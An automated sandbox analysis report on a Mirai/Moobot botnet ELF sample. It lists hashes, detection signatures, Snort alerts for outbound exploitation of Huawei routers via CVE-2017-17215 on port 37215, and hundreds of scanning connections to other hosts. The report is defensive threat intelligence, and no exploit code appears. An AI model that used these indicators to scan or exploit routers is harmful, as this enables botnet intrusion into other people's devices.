Linux Analysis Report
8oxYPvmeaT.elf

Overview

General Information

Sample Name: 8oxYPvmeaT.elf
Original Sample Name: 4b9afff9b19166f6e9ee490e32e0fb15.elf
Analysis ID: 830809
MD5: 4b9afff9b19166f6e9ee490e32e0fb15
SHA1: 31d41fd14ab0b236e2802e774c6f601f329d152e
SHA256: e3fde73a75a23deb0a08b00b153097005ee62bca9969c37755557614efca9f80
Tags: 32elfmirairenesas
Infos:

Detection

Mirai, Moobot
Score: 92
Range: 0 - 100
Whitelisted: false

Signatures

Yara detected Mirai
Multi AV Scanner detection for submitted file
Malicious sample detected (through community Yara rule)
Yara detected Moobot
Snort IDS alert for network traffic
Connects to many ports of the same IP (likely port scanning)
Uses known network protocols on non-standard ports
Sets full permissions to files and/or directories
Yara signature match
Executes the "mkdir" command used to create folders
Uses the "uname" system call to query kernel version information (possible evasion)
Executes the "chmod" command used to modify permissions
Tries to connect to HTTP servers, but all servers are down (expired dropper behavior)
Detected TCP or UDP traffic on non-standard ports
Tries to resolve domain names, but no domain seems valid (expired dropper behavior)
Sample has stripped symbol table
HTTP GET or POST without a user agent
Executes commands using a shell command-line interpreter
Executes the "rm" command used to delete files or directories
Sample contains strings indicative of BusyBox which embeds multiple Unix commands in a single executable

Classification

AV Detection
barindex
Multi AV Scanner detection for submitted file
Source: 8oxYPvmeaT.elf ReversingLabs: Detection: 58%

Networking
barindex
Snort IDS alert for network traffic
Source: Traffic Snort IDS: 2835222 ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) 192.168.2.23:55800 -> 41.236.128.171:37215
Source: Traffic Snort IDS: 2835222 ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) 192.168.2.23:46968 -> 197.39.127.12:37215
Source: Traffic Snort IDS: 2835222 ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) 192.168.2.23:45106 -> 177.177.96.51:37215
Source: Traffic Snort IDS: 2835222 ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) 192.168.2.23:56078 -> 41.236.89.237:37215
Source: Traffic Snort IDS: 2835222 ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) 192.168.2.23:34126 -> 197.3.233.174:37215
Connects to many ports of the same IP (likely port scanning)
Source: global traffic TCP traffic: 197.9.159.121 ports 1,2,3,5,7,37215
Uses known network protocols on non-standard ports
Source: unknown Network traffic detected: HTTP traffic on port 55800 -> 37215
Source: unknown Network traffic detected: HTTP traffic on port 37215 -> 55800
Source: unknown Network traffic detected: HTTP traffic on port 46968 -> 37215
Source: unknown Network traffic detected: HTTP traffic on port 37215 -> 46968
Source: unknown Network traffic detected: HTTP traffic on port 45106 -> 37215
Source: unknown Network traffic detected: HTTP traffic on port 56078 -> 37215
Source: unknown Network traffic detected: HTTP traffic on port 37215 -> 56078
Source: unknown Network traffic detected: HTTP traffic on port 34126 -> 37215
Source: unknown Network traffic detected: HTTP traffic on port 37215 -> 34126
Tries to connect to HTTP servers, but all servers are down (expired dropper behavior)
Source: global traffic TCP traffic: 192.168.2.23:42836 -> 91.189.91.43:443
Source: global traffic TCP traffic: 192.168.2.23:42516 -> 109.202.202.202:80
Source: global traffic TCP traffic: 192.168.2.23:43928 -> 91.189.91.42:443
Detected TCP or UDP traffic on non-standard ports
Source: global traffic TCP traffic: 192.168.2.23:27912 -> 96.126.75.168:37215
Source: global traffic TCP traffic: 192.168.2.23:27912 -> 135.29.85.160:37215
Source: global traffic TCP traffic: 192.168.2.23:27912 -> 157.165.157.167:37215
Source: global traffic TCP traffic: 192.168.2.23:27912 -> 197.218.72.255:37215
Source: global traffic TCP traffic: 192.168.2.23:27912 -> 41.111.232.41:37215
Source: global traffic TCP traffic: 192.168.2.23:27912 -> 180.215.178.223:37215
Source: global traffic TCP traffic: 192.168.2.23:27912 -> 197.95.212.145:37215
Source: global traffic TCP traffic: 192.168.2.23:27912 -> 157.139.208.17:37215
Source: global traffic TCP traffic: 192.168.2.23:27912 -> 197.166.32.51:37215
Source: global traffic TCP traffic: 192.168.2.23:27912 -> 157.50.201.94:37215
Source: global traffic TCP traffic: 192.168.2.23:27912 -> 38.214.124.88:37215
Source: global traffic TCP traffic: 192.168.2.23:27912 -> 197.207.197.234:37215
Source: global traffic TCP traffic: 192.168.2.23:27912 -> 97.188.19.223:37215
Source: global traffic TCP traffic: 192.168.2.23:27912 -> 47.173.204.30:37215
Source: global traffic TCP traffic: 192.168.2.23:27912 -> 197.111.253.197:37215
Source: global traffic TCP traffic: 192.168.2.23:27912 -> 41.116.217.181:37215
Source: global traffic TCP traffic: 192.168.2.23:27912 -> 197.201.40.22:37215
Source: global traffic TCP traffic: 192.168.2.23:27912 -> 197.156.89.127:37215
Source: global traffic TCP traffic: 192.168.2.23:27912 -> 41.163.203.95:37215
Source: global traffic TCP traffic: 192.168.2.23:27912 -> 180.16.78.227:37215
Source: global traffic TCP traffic: 192.168.2.23:27912 -> 197.142.183.154:37215
Source: global traffic TCP traffic: 192.168.2.23:27912 -> 157.201.23.58:37215
Source: global traffic TCP traffic: 192.168.2.23:27912 -> 157.124.5.18:37215
Source: global traffic TCP traffic: 192.168.2.23:27912 -> 197.205.217.145:37215
Source: global traffic TCP traffic: 192.168.2.23:27912 -> 197.24.45.221:37215
Source: global traffic TCP traffic: 192.168.2.23:27912 -> 41.145.240.122:37215
Source: global traffic TCP traffic: 192.168.2.23:27912 -> 157.157.101.174:37215
Source: global traffic TCP traffic: 192.168.2.23:27912 -> 197.11.97.13:37215
Source: global traffic TCP traffic: 192.168.2.23:27912 -> 109.189.48.21:37215
Source: global traffic TCP traffic: 192.168.2.23:27912 -> 41.114.172.204:37215
Source: global traffic TCP traffic: 192.168.2.23:27912 -> 201.161.74.244:37215
Source: global traffic TCP traffic: 192.168.2.23:27912 -> 41.122.69.72:37215
Source: global traffic TCP traffic: 192.168.2.23:27912 -> 157.123.180.115:37215
Source: global traffic TCP traffic: 192.168.2.23:27912 -> 36.47.88.65:37215
Source: global traffic TCP traffic: 192.168.2.23:27912 -> 41.128.254.123:37215
Source: global traffic TCP traffic: 192.168.2.23:27912 -> 157.95.27.19:37215
Source: global traffic TCP traffic: 192.168.2.23:27912 -> 197.21.137.84:37215
Source: global traffic TCP traffic: 192.168.2.23:27912 -> 157.82.218.221:37215
Source: global traffic TCP traffic: 192.168.2.23:27912 -> 197.236.249.120:37215
Source: global traffic TCP traffic: 192.168.2.23:27912 -> 157.161.177.81:37215
Source: global traffic TCP traffic: 192.168.2.23:27912 -> 197.236.123.21:37215
Source: global traffic TCP traffic: 192.168.2.23:27912 -> 157.12.198.165:37215
Source: global traffic TCP traffic: 192.168.2.23:27912 -> 197.225.81.170:37215
Source: global traffic TCP traffic: 192.168.2.23:27912 -> 157.94.171.198:37215
Source: global traffic TCP traffic: 192.168.2.23:27912 -> 157.156.120.144:37215
Source: global traffic TCP traffic: 192.168.2.23:27912 -> 2.45.60.100:37215
Source: global traffic TCP traffic: 192.168.2.23:27912 -> 110.144.113.240:37215
Source: global traffic TCP traffic: 192.168.2.23:27912 -> 197.108.69.86:37215
Source: global traffic TCP traffic: 192.168.2.23:27912 -> 157.227.88.248:37215
Source: global traffic TCP traffic: 192.168.2.23:27912 -> 41.44.78.95:37215
Source: global traffic TCP traffic: 192.168.2.23:27912 -> 197.81.48.189:37215
Source: global traffic TCP traffic: 192.168.2.23:27912 -> 40.80.174.74:37215
Source: global traffic TCP traffic: 192.168.2.23:27912 -> 2.111.198.123:37215
Source: global traffic TCP traffic: 192.168.2.23:27912 -> 41.255.36.90:37215
Source: global traffic TCP traffic: 192.168.2.23:27912 -> 197.50.101.243:37215
Source: global traffic TCP traffic: 192.168.2.23:27912 -> 157.123.4.78:37215
Source: global traffic TCP traffic: 192.168.2.23:27912 -> 41.225.73.200:37215
Source: global traffic TCP traffic: 192.168.2.23:27912 -> 39.191.83.175:37215
Source: global traffic TCP traffic: 192.168.2.23:27912 -> 196.204.13.200:37215
Source: global traffic TCP traffic: 192.168.2.23:27912 -> 41.188.20.30:37215
Source: global traffic TCP traffic: 192.168.2.23:27912 -> 197.76.247.141:37215
Source: global traffic TCP traffic: 192.168.2.23:27912 -> 197.239.100.144:37215
Source: global traffic TCP traffic: 192.168.2.23:27912 -> 157.164.226.149:37215
Source: global traffic TCP traffic: 192.168.2.23:27912 -> 157.78.236.201:37215
Source: global traffic TCP traffic: 192.168.2.23:27912 -> 157.228.175.174:37215
Source: global traffic TCP traffic: 192.168.2.23:27912 -> 197.82.51.10:37215
Source: global traffic TCP traffic: 192.168.2.23:27912 -> 157.147.99.205:37215
Source: global traffic TCP traffic: 192.168.2.23:27912 -> 197.139.143.169:37215
Source: global traffic TCP traffic: 192.168.2.23:27912 -> 157.65.111.193:37215
Source: global traffic TCP traffic: 192.168.2.23:27912 -> 41.176.160.201:37215
Source: global traffic TCP traffic: 192.168.2.23:27912 -> 41.4.101.121:37215
Source: global traffic TCP traffic: 192.168.2.23:27912 -> 9.195.101.185:37215
Source: global traffic TCP traffic: 192.168.2.23:27912 -> 41.116.244.247:37215
Source: global traffic TCP traffic: 192.168.2.23:27912 -> 197.92.66.176:37215
Source: global traffic TCP traffic: 192.168.2.23:27912 -> 41.168.41.162:37215
Source: global traffic TCP traffic: 192.168.2.23:27912 -> 213.30.91.89:37215
Source: global traffic TCP traffic: 192.168.2.23:27912 -> 41.23.31.235:37215
Source: global traffic TCP traffic: 192.168.2.23:27912 -> 141.244.247.254:37215
Source: global traffic TCP traffic: 192.168.2.23:27912 -> 157.181.4.135:37215
Source: global traffic TCP traffic: 192.168.2.23:27912 -> 197.156.112.247:37215
Source: global traffic TCP traffic: 192.168.2.23:27912 -> 42.108.113.215:37215
Source: global traffic TCP traffic: 192.168.2.23:27912 -> 197.156.200.110:37215
Source: global traffic TCP traffic: 192.168.2.23:27912 -> 132.38.63.3:37215
Source: global traffic TCP traffic: 192.168.2.23:27912 -> 41.130.226.168:37215
Source: global traffic TCP traffic: 192.168.2.23:27912 -> 63.205.49.94:37215
Source: global traffic TCP traffic: 192.168.2.23:27912 -> 197.234.30.87:37215
Source: global traffic TCP traffic: 192.168.2.23:27912 -> 41.134.251.217:37215
Source: global traffic TCP traffic: 192.168.2.23:27912 -> 157.55.83.14:37215
Source: global traffic TCP traffic: 192.168.2.23:27912 -> 197.205.159.13:37215
Source: global traffic TCP traffic: 192.168.2.23:27912 -> 41.124.149.202:37215
Source: global traffic TCP traffic: 192.168.2.23:27912 -> 41.108.99.38:37215
Source: global traffic TCP traffic: 192.168.2.23:27912 -> 195.100.127.248:37215
Source: global traffic TCP traffic: 192.168.2.23:27912 -> 41.53.203.220:37215
Source: global traffic TCP traffic: 192.168.2.23:27912 -> 41.123.49.231:37215
Source: global traffic TCP traffic: 192.168.2.23:27912 -> 69.85.242.189:37215
Source: global traffic TCP traffic: 192.168.2.23:27912 -> 157.75.34.149:37215
Source: global traffic TCP traffic: 192.168.2.23:27912 -> 157.160.89.137:37215
Source: global traffic TCP traffic: 192.168.2.23:27912 -> 70.168.214.134:37215
Source: global traffic TCP traffic: 192.168.2.23:27912 -> 85.49.240.165:37215
Source: global traffic TCP traffic: 192.168.2.23:27912 -> 197.90.132.67:37215
Source: global traffic TCP traffic: 192.168.2.23:27912 -> 157.113.7.150:37215
Source: global traffic TCP traffic: 192.168.2.23:27912 -> 41.225.113.118:37215
Source: global traffic TCP traffic: 192.168.2.23:27912 -> 157.27.5.155:37215
Source: global traffic TCP traffic: 192.168.2.23:27912 -> 157.78.76.76:37215
Source: global traffic TCP traffic: 192.168.2.23:27912 -> 197.230.94.230:37215
Source: global traffic TCP traffic: 192.168.2.23:27912 -> 41.93.120.67:37215
Source: global traffic TCP traffic: 192.168.2.23:27912 -> 132.196.174.189:37215
Source: global traffic TCP traffic: 192.168.2.23:27912 -> 197.196.217.234:37215
Source: global traffic TCP traffic: 192.168.2.23:27912 -> 85.241.89.220:37215
Source: global traffic TCP traffic: 192.168.2.23:27912 -> 41.88.168.153:37215
Source: global traffic TCP traffic: 192.168.2.23:27912 -> 197.133.203.139:37215
Source: global traffic TCP traffic: 192.168.2.23:27912 -> 157.14.44.240:37215
Source: global traffic TCP traffic: 192.168.2.23:27912 -> 41.92.168.148:37215
Source: global traffic TCP traffic: 192.168.2.23:27912 -> 197.52.109.254:37215
Source: global traffic TCP traffic: 192.168.2.23:27912 -> 157.90.92.63:37215
Source: global traffic TCP traffic: 192.168.2.23:27912 -> 41.14.196.242:37215
Source: global traffic TCP traffic: 192.168.2.23:27912 -> 197.52.82.60:37215
Source: global traffic TCP traffic: 192.168.2.23:27912 -> 120.68.62.41:37215
Source: global traffic TCP traffic: 192.168.2.23:27912 -> 41.94.19.119:37215
Source: global traffic TCP traffic: 192.168.2.23:27912 -> 157.155.135.157:37215
Source: global traffic TCP traffic: 192.168.2.23:27912 -> 157.211.52.194:37215
Source: global traffic TCP traffic: 192.168.2.23:27912 -> 41.238.143.184:37215
Source: global traffic TCP traffic: 192.168.2.23:27912 -> 157.47.122.70:37215
Source: global traffic TCP traffic: 192.168.2.23:27912 -> 41.95.79.156:37215
Source: global traffic TCP traffic: 192.168.2.23:27912 -> 197.46.68.124:37215
Source: global traffic TCP traffic: 192.168.2.23:27912 -> 69.6.230.128:37215
Source: global traffic TCP traffic: 192.168.2.23:27912 -> 197.14.133.138:37215
Source: global traffic TCP traffic: 192.168.2.23:27912 -> 197.97.41.184:37215
Source: global traffic TCP traffic: 192.168.2.23:27912 -> 197.177.33.244:37215
Source: global traffic TCP traffic: 192.168.2.23:27912 -> 157.242.21.0:37215
Source: global traffic TCP traffic: 192.168.2.23:27912 -> 197.70.203.24:37215
Source: global traffic TCP traffic: 192.168.2.23:27912 -> 87.22.92.96:37215
Source: global traffic TCP traffic: 192.168.2.23:27912 -> 93.216.135.162:37215
Source: global traffic TCP traffic: 192.168.2.23:27912 -> 41.154.181.112:37215
Source: global traffic TCP traffic: 192.168.2.23:27912 -> 153.69.235.1:37215
Source: global traffic TCP traffic: 192.168.2.23:27912 -> 152.7.182.250:37215
Source: global traffic TCP traffic: 192.168.2.23:27912 -> 157.129.64.67:37215
Source: global traffic TCP traffic: 192.168.2.23:27912 -> 197.100.239.234:37215
Source: global traffic TCP traffic: 192.168.2.23:27912 -> 197.189.97.29:37215
Source: global traffic TCP traffic: 192.168.2.23:27912 -> 131.20.232.114:37215
Source: global traffic TCP traffic: 192.168.2.23:27912 -> 146.174.75.54:37215
Source: global traffic TCP traffic: 192.168.2.23:27912 -> 197.155.23.105:37215
Source: global traffic TCP traffic: 192.168.2.23:27912 -> 157.52.144.185:37215
Source: global traffic TCP traffic: 192.168.2.23:27912 -> 41.79.86.99:37215
Source: global traffic TCP traffic: 192.168.2.23:27912 -> 197.30.23.114:37215
Source: global traffic TCP traffic: 192.168.2.23:27912 -> 197.89.66.159:37215
Source: global traffic TCP traffic: 192.168.2.23:27912 -> 197.16.55.186:37215
Source: global traffic TCP traffic: 192.168.2.23:27912 -> 157.142.105.206:37215
Source: global traffic TCP traffic: 192.168.2.23:27912 -> 41.155.143.18:37215
Source: global traffic TCP traffic: 192.168.2.23:27912 -> 157.115.30.137:37215
Source: global traffic TCP traffic: 192.168.2.23:27912 -> 41.50.122.154:37215
Source: global traffic TCP traffic: 192.168.2.23:27912 -> 41.145.171.119:37215
Source: global traffic TCP traffic: 192.168.2.23:27912 -> 197.67.73.77:37215
Source: global traffic TCP traffic: 192.168.2.23:27912 -> 157.170.177.24:37215
Source: global traffic TCP traffic: 192.168.2.23:27912 -> 157.80.141.162:37215
Source: global traffic TCP traffic: 192.168.2.23:27912 -> 25.246.72.10:37215
Source: global traffic TCP traffic: 192.168.2.23:27912 -> 157.162.221.95:37215
Source: global traffic TCP traffic: 192.168.2.23:27912 -> 41.251.191.22:37215
Source: global traffic TCP traffic: 192.168.2.23:27912 -> 197.148.112.125:37215
Source: global traffic TCP traffic: 192.168.2.23:27912 -> 197.35.91.153:37215
Source: global traffic TCP traffic: 192.168.2.23:27912 -> 157.215.172.248:37215
Source: global traffic TCP traffic: 192.168.2.23:27912 -> 157.254.207.55:37215
Source: global traffic TCP traffic: 192.168.2.23:27912 -> 41.248.114.0:37215
Source: global traffic TCP traffic: 192.168.2.23:27912 -> 41.131.227.9:37215
Source: global traffic TCP traffic: 192.168.2.23:27912 -> 157.83.63.252:37215
Source: global traffic TCP traffic: 192.168.2.23:27912 -> 148.103.174.64:37215
Source: global traffic TCP traffic: 192.168.2.23:27912 -> 41.39.173.123:37215
Source: global traffic TCP traffic: 192.168.2.23:27912 -> 157.163.71.115:37215
Source: global traffic TCP traffic: 192.168.2.23:27912 -> 197.114.220.21:37215
Source: global traffic TCP traffic: 192.168.2.23:27912 -> 120.98.90.233:37215
Source: global traffic TCP traffic: 192.168.2.23:27912 -> 41.152.16.159:37215
Source: global traffic TCP traffic: 192.168.2.23:27912 -> 41.1.248.98:37215
Source: global traffic TCP traffic: 192.168.2.23:27912 -> 41.44.214.241:37215
Source: global traffic TCP traffic: 192.168.2.23:27912 -> 64.202.237.42:37215
Source: global traffic TCP traffic: 192.168.2.23:27912 -> 197.129.235.95:37215
Source: global traffic TCP traffic: 192.168.2.23:27912 -> 157.85.252.37:37215
Source: global traffic TCP traffic: 192.168.2.23:27912 -> 41.91.221.132:37215
Source: global traffic TCP traffic: 192.168.2.23:27912 -> 157.228.14.143:37215
Source: global traffic TCP traffic: 192.168.2.23:27912 -> 157.212.13.26:37215
Source: global traffic TCP traffic: 192.168.2.23:27912 -> 154.10.194.95:37215
Source: global traffic TCP traffic: 192.168.2.23:27912 -> 197.12.119.188:37215
Source: global traffic TCP traffic: 192.168.2.23:27912 -> 157.87.21.50:37215
Source: global traffic TCP traffic: 192.168.2.23:27912 -> 197.118.234.186:37215
Source: global traffic TCP traffic: 192.168.2.23:27912 -> 157.87.207.74:37215
Source: global traffic TCP traffic: 192.168.2.23:27912 -> 147.216.236.248:37215
Source: global traffic TCP traffic: 192.168.2.23:27912 -> 157.133.130.13:37215
Source: global traffic TCP traffic: 192.168.2.23:27912 -> 197.49.20.104:37215
Source: global traffic TCP traffic: 192.168.2.23:27912 -> 157.240.193.227:37215
Source: global traffic TCP traffic: 192.168.2.23:27912 -> 157.0.162.37:37215
Source: global traffic TCP traffic: 192.168.2.23:27912 -> 157.208.3.145:37215
Source: global traffic TCP traffic: 192.168.2.23:27912 -> 197.24.196.123:37215
Source: global traffic TCP traffic: 192.168.2.23:27912 -> 80.179.209.1:37215
Source: global traffic TCP traffic: 192.168.2.23:27912 -> 41.202.55.143:37215
Source: global traffic TCP traffic: 192.168.2.23:27912 -> 112.37.219.187:37215
Source: global traffic TCP traffic: 192.168.2.23:27912 -> 157.66.224.228:37215
Source: global traffic TCP traffic: 192.168.2.23:27912 -> 157.171.99.21:37215
Source: global traffic TCP traffic: 192.168.2.23:27912 -> 157.22.246.181:37215
Source: global traffic TCP traffic: 192.168.2.23:27912 -> 41.95.1.189:37215
Source: global traffic TCP traffic: 192.168.2.23:27912 -> 114.165.11.68:37215
Source: global traffic TCP traffic: 192.168.2.23:27912 -> 41.241.243.108:37215
Source: global traffic TCP traffic: 192.168.2.23:27912 -> 106.229.50.255:37215
Source: global traffic TCP traffic: 192.168.2.23:27912 -> 166.154.145.4:37215
Source: global traffic TCP traffic: 192.168.2.23:27912 -> 205.99.215.189:37215
Source: global traffic TCP traffic: 192.168.2.23:27912 -> 197.52.184.236:37215
Source: global traffic TCP traffic: 192.168.2.23:27912 -> 197.67.140.40:37215
Source: global traffic TCP traffic: 192.168.2.23:27912 -> 157.94.56.235:37215
Source: global traffic TCP traffic: 192.168.2.23:27912 -> 157.230.111.193:37215
Source: global traffic TCP traffic: 192.168.2.23:27912 -> 163.87.41.73:37215
Source: global traffic TCP traffic: 192.168.2.23:27912 -> 41.60.164.73:37215
Source: global traffic TCP traffic: 192.168.2.23:27912 -> 197.24.91.178:37215
Source: global traffic TCP traffic: 192.168.2.23:27912 -> 150.166.229.45:37215
Source: global traffic TCP traffic: 192.168.2.23:27912 -> 197.10.191.162:37215
Source: global traffic TCP traffic: 192.168.2.23:27912 -> 197.145.27.211:37215
Source: global traffic TCP traffic: 192.168.2.23:27912 -> 198.138.109.214:37215
Source: global traffic TCP traffic: 192.168.2.23:27912 -> 41.29.194.189:37215
Source: global traffic TCP traffic: 192.168.2.23:27912 -> 197.190.111.83:37215
Source: global traffic TCP traffic: 192.168.2.23:27912 -> 43.35.16.230:37215
Source: global traffic TCP traffic: 192.168.2.23:27912 -> 147.142.37.113:37215
Source: global traffic TCP traffic: 192.168.2.23:27912 -> 62.88.199.224:37215
Source: global traffic TCP traffic: 192.168.2.23:27912 -> 197.149.142.4:37215
Source: global traffic TCP traffic: 192.168.2.23:27912 -> 157.76.123.184:37215
Source: global traffic TCP traffic: 192.168.2.23:27912 -> 175.124.23.61:37215
Source: global traffic TCP traffic: 192.168.2.23:27912 -> 197.158.162.124:37215
Source: global traffic TCP traffic: 192.168.2.23:27912 -> 176.205.156.247:37215
Source: global traffic TCP traffic: 192.168.2.23:27912 -> 197.211.104.249:37215
Source: global traffic TCP traffic: 192.168.2.23:27912 -> 41.127.34.63:37215
Source: global traffic TCP traffic: 192.168.2.23:27912 -> 41.226.49.65:37215
Source: global traffic TCP traffic: 192.168.2.23:27912 -> 157.16.206.152:37215
Source: global traffic TCP traffic: 192.168.2.23:27912 -> 197.31.113.8:37215
Source: global traffic TCP traffic: 192.168.2.23:27912 -> 160.248.249.168:37215
Source: global traffic TCP traffic: 192.168.2.23:27912 -> 157.108.48.130:37215
Source: global traffic TCP traffic: 192.168.2.23:27912 -> 8.147.103.116:37215
Source: global traffic TCP traffic: 192.168.2.23:27912 -> 157.78.7.70:37215
Source: global traffic TCP traffic: 192.168.2.23:27912 -> 212.29.15.168:37215
Source: global traffic TCP traffic: 192.168.2.23:27912 -> 197.213.164.188:37215
Source: global traffic TCP traffic: 192.168.2.23:27912 -> 197.186.63.173:37215
Source: global traffic TCP traffic: 192.168.2.23:27912 -> 197.212.134.68:37215
Source: global traffic TCP traffic: 192.168.2.23:27912 -> 157.85.177.246:37215
Source: global traffic TCP traffic: 192.168.2.23:27912 -> 197.67.182.205:37215
Source: global traffic TCP traffic: 192.168.2.23:27912 -> 157.14.86.58:37215
Source: global traffic TCP traffic: 192.168.2.23:27912 -> 197.243.227.109:37215
Source: global traffic TCP traffic: 192.168.2.23:27912 -> 41.91.156.26:37215
Source: global traffic TCP traffic: 192.168.2.23:27912 -> 197.72.54.51:37215
Source: global traffic TCP traffic: 192.168.2.23:27912 -> 41.228.40.28:37215
Source: global traffic TCP traffic: 192.168.2.23:27912 -> 164.117.238.242:37215
Source: global traffic TCP traffic: 192.168.2.23:27912 -> 157.132.1.247:37215
Source: global traffic TCP traffic: 192.168.2.23:27912 -> 157.41.86.94:37215
Source: global traffic TCP traffic: 192.168.2.23:27912 -> 157.76.71.100:37215
Source: global traffic TCP traffic: 192.168.2.23:27912 -> 157.213.235.60:37215
Source: global traffic TCP traffic: 192.168.2.23:27912 -> 41.44.87.220:37215
Source: global traffic TCP traffic: 192.168.2.23:27912 -> 41.139.205.0:37215
Source: global traffic TCP traffic: 192.168.2.23:27912 -> 197.231.32.218:37215
Source: global traffic TCP traffic: 192.168.2.23:27912 -> 157.70.208.72:37215
Source: global traffic TCP traffic: 192.168.2.23:27912 -> 74.52.98.242:37215
Source: global traffic TCP traffic: 192.168.2.23:27912 -> 197.165.38.42:37215
Source: global traffic TCP traffic: 192.168.2.23:27912 -> 41.143.115.2:37215
Source: global traffic TCP traffic: 192.168.2.23:27912 -> 157.47.42.191:37215
Source: global traffic TCP traffic: 192.168.2.23:27912 -> 157.42.22.230:37215
Source: global traffic TCP traffic: 192.168.2.23:27912 -> 157.216.61.169:37215
Source: global traffic TCP traffic: 192.168.2.23:27912 -> 145.65.19.153:37215
Source: global traffic TCP traffic: 192.168.2.23:27912 -> 48.199.20.104:37215
Source: global traffic TCP traffic: 192.168.2.23:27912 -> 18.179.149.216:37215
Source: global traffic TCP traffic: 192.168.2.23:27912 -> 157.23.197.89:37215
Source: global traffic TCP traffic: 192.168.2.23:27912 -> 141.68.202.74:37215
Source: global traffic TCP traffic: 192.168.2.23:27912 -> 157.203.80.83:37215
Source: global traffic TCP traffic: 192.168.2.23:27912 -> 93.10.60.137:37215
Source: global traffic TCP traffic: 192.168.2.23:27912 -> 41.216.157.13:37215
Source: global traffic TCP traffic: 192.168.2.23:27912 -> 120.184.207.102:37215
Source: global traffic TCP traffic: 192.168.2.23:27912 -> 43.61.37.90:37215
Source: global traffic TCP traffic: 192.168.2.23:27912 -> 157.194.28.193:37215
Source: global traffic TCP traffic: 192.168.2.23:27912 -> 147.93.245.50:37215
Source: global traffic TCP traffic: 192.168.2.23:27912 -> 157.141.130.24:37215
Source: global traffic TCP traffic: 192.168.2.23:27912 -> 51.183.69.84:37215
Source: global traffic TCP traffic: 192.168.2.23:27912 -> 41.66.112.124:37215
Source: global traffic TCP traffic: 192.168.2.23:27912 -> 102.75.136.56:37215
Source: global traffic TCP traffic: 192.168.2.23:27912 -> 157.173.62.161:37215
Source: global traffic TCP traffic: 192.168.2.23:27912 -> 197.61.4.16:37215
Source: global traffic TCP traffic: 192.168.2.23:27912 -> 41.139.123.176:37215
Source: global traffic TCP traffic: 192.168.2.23:27912 -> 197.164.32.64:37215
Source: global traffic TCP traffic: 192.168.2.23:27912 -> 9.215.128.222:37215
Source: global traffic TCP traffic: 192.168.2.23:27912 -> 41.199.14.42:37215
Source: global traffic TCP traffic: 192.168.2.23:27912 -> 41.139.129.72:37215
Source: global traffic TCP traffic: 192.168.2.23:27912 -> 41.93.106.80:37215
Source: global traffic TCP traffic: 192.168.2.23:27912 -> 197.79.4.219:37215
Source: global traffic TCP traffic: 192.168.2.23:27912 -> 197.212.29.107:37215
Source: global traffic TCP traffic: 192.168.2.23:27912 -> 151.157.130.140:37215
Source: global traffic TCP traffic: 192.168.2.23:27912 -> 157.146.191.248:37215
Source: global traffic TCP traffic: 192.168.2.23:27912 -> 197.126.246.157:37215
Source: global traffic TCP traffic: 192.168.2.23:27912 -> 41.125.69.17:37215
Source: global traffic TCP traffic: 192.168.2.23:27912 -> 36.144.199.228:37215
Source: global traffic TCP traffic: 192.168.2.23:27912 -> 197.8.177.207:37215
Source: global traffic TCP traffic: 192.168.2.23:27912 -> 197.139.79.235:37215
Source: global traffic TCP traffic: 192.168.2.23:27912 -> 178.141.42.90:37215
Source: global traffic TCP traffic: 192.168.2.23:27912 -> 157.175.142.150:37215
Source: global traffic TCP traffic: 192.168.2.23:27912 -> 197.57.172.194:37215
Source: global traffic TCP traffic: 192.168.2.23:27912 -> 60.142.29.174:37215
Source: global traffic TCP traffic: 192.168.2.23:27912 -> 157.137.3.81:37215
Source: global traffic TCP traffic: 192.168.2.23:27912 -> 197.184.171.120:37215
Source: global traffic TCP traffic: 192.168.2.23:27912 -> 41.113.109.84:37215
Source: global traffic TCP traffic: 192.168.2.23:27912 -> 197.44.195.231:37215
Source: global traffic TCP traffic: 192.168.2.23:27912 -> 197.79.117.84:37215
Source: global traffic TCP traffic: 192.168.2.23:27912 -> 197.108.32.218:37215
Source: global traffic TCP traffic: 192.168.2.23:27912 -> 42.167.77.183:37215
Source: global traffic TCP traffic: 192.168.2.23:27912 -> 157.102.94.195:37215
Source: global traffic TCP traffic: 192.168.2.23:27912 -> 197.189.150.244:37215
Source: global traffic TCP traffic: 192.168.2.23:27912 -> 197.107.57.28:37215
Source: global traffic TCP traffic: 192.168.2.23:27912 -> 41.68.66.210:37215
Source: global traffic TCP traffic: 192.168.2.23:27912 -> 41.66.221.45:37215
Source: global traffic TCP traffic: 192.168.2.23:27912 -> 36.30.181.199:37215
Source: global traffic TCP traffic: 192.168.2.23:27912 -> 98.223.103.48:37215
Source: global traffic TCP traffic: 192.168.2.23:27912 -> 150.79.217.192:37215
Source: global traffic TCP traffic: 192.168.2.23:27912 -> 157.214.123.28:37215
Source: global traffic TCP traffic: 192.168.2.23:27912 -> 157.2.0.28:37215
Source: global traffic TCP traffic: 192.168.2.23:27912 -> 126.31.219.224:37215
Source: global traffic TCP traffic: 192.168.2.23:27912 -> 87.216.72.151:37215
Source: global traffic TCP traffic: 192.168.2.23:27912 -> 223.68.156.193:37215
Source: global traffic TCP traffic: 192.168.2.23:27912 -> 197.150.69.148:37215
Source: global traffic TCP traffic: 192.168.2.23:27912 -> 41.181.39.40:37215
Source: global traffic TCP traffic: 192.168.2.23:27912 -> 90.96.183.93:37215
Source: global traffic TCP traffic: 192.168.2.23:27912 -> 170.41.187.237:37215
Source: global traffic TCP traffic: 192.168.2.23:27912 -> 177.138.206.94:37215
Source: global traffic TCP traffic: 192.168.2.23:27912 -> 41.180.246.65:37215
Source: global traffic TCP traffic: 192.168.2.23:27912 -> 157.120.244.186:37215
Source: global traffic TCP traffic: 192.168.2.23:27912 -> 197.75.238.101:37215
Source: global traffic TCP traffic: 192.168.2.23:27912 -> 197.60.247.211:37215
Source: global traffic TCP traffic: 192.168.2.23:27912 -> 41.24.89.13:37215
Source: global traffic TCP traffic: 192.168.2.23:27912 -> 197.169.167.144:37215
Source: global traffic TCP traffic: 192.168.2.23:27912 -> 197.104.135.2:37215
Source: global traffic TCP traffic: 192.168.2.23:27912 -> 197.239.80.113:37215
Source: global traffic TCP traffic: 192.168.2.23:27912 -> 157.237.199.241:37215
Source: global traffic TCP traffic: 192.168.2.23:27912 -> 41.32.254.126:37215
Source: global traffic TCP traffic: 192.168.2.23:27912 -> 197.156.53.254:37215
